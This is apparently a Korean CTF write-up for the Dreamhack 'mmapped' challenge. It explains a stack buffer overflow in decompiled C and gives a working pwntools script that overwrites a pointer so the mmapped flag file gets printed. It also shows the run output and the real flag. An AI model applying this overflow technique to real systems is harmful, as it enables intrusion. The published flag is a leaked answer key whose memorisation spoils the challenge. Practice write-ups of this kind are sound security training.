문제 설명

    Description

    프로그램의 취약점을 찾고 익스플로잇하여 플래그를 출력하세요.
    플래그는 ./flag 파일에 위치합니다.
    플래그의 형식은 DH{…} 입니다.

    checksec

    seo@seo-virtual-machine:~/Desktop/mmapped$ checksec ./chall
    [*] '/home/seo/Desktop/mmapped/chall'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    chall.c (Decompiled-src)

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[40]; // [rsp+10h] [rbp-40h] BYREF
      void *addr; // [rsp+38h] [rbp-18h]
      void *v6; // [rsp+40h] [rbp-10h]
      int v7; // [rsp+48h] [rbp-8h]
      int fd; // [rsp+4Ch] [rbp-4h]
    
      initialize(argc, argv, envp);
      fd = open("./flag", 0);
      v7 = 69;
      v6 = "DH{****************************************************************}";
      printf("fake flag address: %p\n", "DH{****************************************************************}");
      printf("buf address: %p\n", buf);
      addr = mmap(0LL, 0x45uLL, 1, 2, fd, 0LL);     // 
                                                    // len: 0x45(=69), 
                                                    // prot: PROT_READ(=1)
                                                    // flags: MAP_PRIVATE(=2)
      printf("real flag address (mmapped address): %p\n", addr);
      printf("%s", "input: ");
      read(0, buf, 60uLL);
      mprotect(addr, v7, 0);
      write(1, v6, 0x45uLL);
      printf("\nbuf value: ");
      puts(buf);
      munmap(addr, 0x45uLL);
      close(fd);
      return 0;
    }

    ./flag 파일을 열고 mmap해서 들어간 파일 내용이 addr 주소에 저장된다.

    입력받은 buf는 60바이트만큼 read할 수 있는데,
    실제로 선언된 buf 크기는 40바이트여서 버퍼오버플로우가 발생한다.
    이러한 점을 이용해 write할때 v6를 컨트롤해서 flag를 가리키는 주소로 덮어쓰게 만들면 된다.
    그러면 flag를 획득할 수 있다.

    Stack

    =================
    RET
    =================
    RBP
    =================
    fd <- rbp – 0x4
    =================
    v7 <- rbp – 0x8
    =================
    *v6 <- rbp – 0x10
    =================
    *addr <- rbp – 0x18
    =================
    buf[40] <- rbp – 0x40
    =================

    Solution

    buf에서 v6까지의 거리가 48(0x40 – 0x10 = 0x30)이므로,
    그 만큼 더미로 채우고
    그 뒤에 real flag address (mmapped address):에서 출력되는 flag를 가리키는 주소로 페이로드를 완성하면 된다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 17517)
    
    real_flag_address = p.recvuntil("input: ")
    real_flag_address = real_flag_address.split(b"real flag address (mmapped address): ")[1]
    real_flag_address = real_flag_address.split(b"\n")[0]
    real_flag_address = int(real_flag_address, 16)
    print("real_flag_address: " + hex(real_flag_address))
    
    payload = b"A"*48 + p64(real_flag_address)
    p.sendline(payload)
    
    p.interactive()

    Result

    seo@seo-virtual-machine:~/Desktop/mmapped$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 17517: Done
    real_flag_address: 0x7f60916ed000
    [*] Switching to interactive mode
    DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}\x00
    buf value: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    [*] Got EOF while reading in interactive
    $
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 17517

    FLAG

    DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다